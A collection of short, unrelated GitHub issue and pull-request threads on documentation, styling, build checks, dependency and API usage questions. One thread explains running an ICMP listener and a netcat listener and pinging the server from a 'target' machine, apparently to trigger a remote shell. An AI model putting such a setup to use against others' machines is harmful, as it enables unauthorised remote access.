
Seems to still be open, you are free to change the docs if you want @pranav-ravuri i would just reference the moving_camera_scene in the docs mentioned above. They're already mentioned here https://docs.manim.community/en/stable/reference/manim.camera.moving_camera.html but i am not quite sure if many people walk over that, so expanding the other reference would be great.

Hi, @MrDiver sorry for the delay, I needed time to look into the source code a little bit to understand what is happening. So, my understanding is that there is camera_class attribute base Scene class which holds the camera class to be used. The default Scene class initializes Camera into the camera_class and this class does not allow any camera movement. On the other hand, MovingCameraScene initializes MovingCamera class instead of standard Camera class along with modifying the existing get_moving_mobjects method . This change allows us to render the movement of camera in a scene as the name suggests.
So, it does not seem like class MovingCamera in itself is not intended to be used as is but rather to be used by indirectly by importing the necessary Scene class like MovingCameraScene.
Finally the documentation of MovingCameraScene has been already linked in the documentation of moving_camera and MovingCamera as a "see also" info card. So, do you thing paraphrasing the my first paragraph and adding it to the documentation of MovingCamera would make it clear?

The problem is that MovingCameraScene does not really have documentation. Rather the module moving_camera_scene has the documentation. Just linking to the module too would help find the documentation a little bit more easily. moving_camera_scene has a lot of documentation which is not easily found by serching because people will most likely click on the classes and not on the modules.

Which is also not helped by the fact that you can't just search moving camera and find the documentation you want, because the first useful result is the MovingCameraScene which doesn't have such extensive documentation.

Okayyy so, should I just link the documentation of moving_camera_scene (the module) documentation in the documentation of the MovingCameraScene (the class). It would appear in the see also info box (marked in red in the below image) next to the MovingCamera link which is already present.

I am thinking to add the new moving_camera_scene (the module) documentation as the first link and then the documentation of MovingCamera (which is already there) as the second link in the order.

Hi, MrDiver!
We are a group of university student and would like to make first contributions towards this repo.
Can we work on this issue?

Hi, MrDiver! We are a group of university student and would like to make first contributions towards this repo. Can we work on this issue?

I'm not MrDiver but I believe I am speaking for everyone here: sure, go ahead, every contribution is welcome!
Have a look here: https://docs.manim.community/en/stable/contributing.html


Error while uninstalling TABL

Install repo https://github.com/larshp/todo_logic, add some data to the database table.
Uninstall, then it shows the following error, expected result is that all objects are deleted,

fixed in https://github.com/larshp/abapGit/issues/698


Removing  tags from Accordions

@gregoryspragginsjr We're finding that lists in Accordions are getting styles from the <code> element that is surrounding things:

You can see the lists inside are displaying as monospaced.
Can we remove the <code> elements? https://github.com/ColbyCommunications/colby-college-theme/blob/master/src/twig/components/accordion/accordion.twig#L48
When I try to delete them it screws everything up on my local:

@bwaltz I can take a look here. The <code> tag is required here to prevent the error message your seeing (encoding error). There should be a workaround.

@gregoryspragginsjr checking in on this one. Do you have any thoughts?

Hey @bwaltz sorry about the delay on these; been on sick leave. You should see an update for this and a few things in the next day or so. The code tag unfortunately is necessary in this context as you can see from removing it. It'll just need some additional styles.

Okay @bwaltz I've applied a small change here that should remedy this issue. I did notice that you guys have made a fair number of changes, migrating some of the tailwind utility classes in the wysiwyg twig file into scss and utilizing apply. The only way to to remedy this issue in particular regarding the necessary code tag stylings is to apply some type of specificity to override via either:

> applications to direct children
!important overrides to all styles within your set ul on line 86 in styles.scss
Add another classname for specificity

I've applied the first approach to your css but feel free to change this.


Add install method using apt-get

Hello @emmetog,
I'd like to offer up this PR, which provides an installation method using apt-get (on Ubuntu and similar distros that support it).
Let me know what you think.
Cheers,
Graham.

Thanks @grahamdaley !


results of experiment

I have questions about some experimental details. Are the reported experimental results the average of ten experiments?

No


Presubmit tests that sbom file is not empty

From a previous change, export_disk.sh now creates an empty sbom file all the time.
For the sbom file to be a success, it should not be empty. The presubmit now checks that the sbom file is not empty for enterprise linux.

/lgtm


Introduce rule to rewrite map.keySet().isEmpty() to map.isEmpty()

Adds an additional refaster Map rule that builts on https://github.com/PicnicSupermarket/error-prone-support/pull/337
Suggested commit message:
Introduce `map.keySet().isEmpty()` to `map.isEmpty()` refaster rule

Yeah I was thinking of ordering it lexicographically, but I wanted to stick with the order Stephan already proposed in the other rule

Rebased


Warning: Unknown prop raised on  tag. Remove this prop from the element.

Hi
I got this error:
Warning: Unknown prop raised on  tag. Remove this prop from the element.
I'm using raised like this:
<Button icon='save' type="submit" label={<T value='processes.new.save'/>} raised primary/>
thats similar like the one on docs: http://react-toolbox.com/#/components/button
Any Idea how to fix this?

The problem is likely coming from <T />. I did something like this which worked fine:
function T() {
  return
test
;
}

What does your <T /> component look like?


How to close connection in sse.js

I have created connection with sse.js
let url = "https://XXXXXXXX/stream";         let requestJson = { "id" : "123456" };         var source = new SSE(url, {             headers: {               'Content-Type': 'application/json',               'Authorization': 'wefergre735rb23v23j23vj3vh43v43',             },           payload: JSON.stringify(requestJson),           method: 'POST'  });
And Get Stream data with below code
source.addEventListener('message', function(e) {               payload = JSON.parse(e.data);   });  source.stream();
And i want to close connection with below code but it's not working
source.close();
Thanks

What is not working exactly? Do you mean that the connection remains open, and your message event listener is still being called when data is received?
Can you step-by-step debug through the call to source.close() and confirm that the XHR request gets cancelled as expected?


Output file location is not consistent

If you have a file goautobots.thrift of which has no dependencies thrift2flow will output flow-output/goautobots.js. If goautobots.thrift then has a dependency include "../floweco/floweco.thrift" then the output file is flow-output/goautobots/goautobots.js. This shift makes adding tooling ontop of thrift2flow (e.g. moving the files) dependent on what the service does and can break scripts easily.
Possible alternative is to output flow-output/goautobots.js and flow-output/goautobots/* where goautobot's dependencies are in the subfolder.

should be resolved now.


how to use

i don't understand # how should we setup the listener in our server
when we starting pinging our server from the target?

Here is a screen shot of it in use:
http://storage5.static.itmages.com/i/17/0801/h_1501587152_5978738_ca7c1ecd9f.png
The top terminal is running the ICMP listener, the middle terminal is running the netcat listener, and the bottom terminal is sending the ping. All three are different machines


lib dependencies

Hi, when I try to run inference.sh. I stuck with the following error:
File "HCIILAB\lib\evaluation_metrics\metrics.py", line 9, in <module>
    import editdistance
ModuleNotFoundError: No module named 'editdistance'

I guess I can simply remove the line "import editdistance"
and then after rerunning the scripts, I got the following error:
File "HCIILAB\lib\models\model_builder_CTC.py", line 3, in <module>
    import einops
ModuleNotFoundError: No module named 'einops'

I would like to ask which lib dependencies are necessary for this project except pytorch? Or would you please update an requirement.txt file?
Thanks in advance

Hi @Ao-Lee
Done! Please update for the latest verision.

thank you!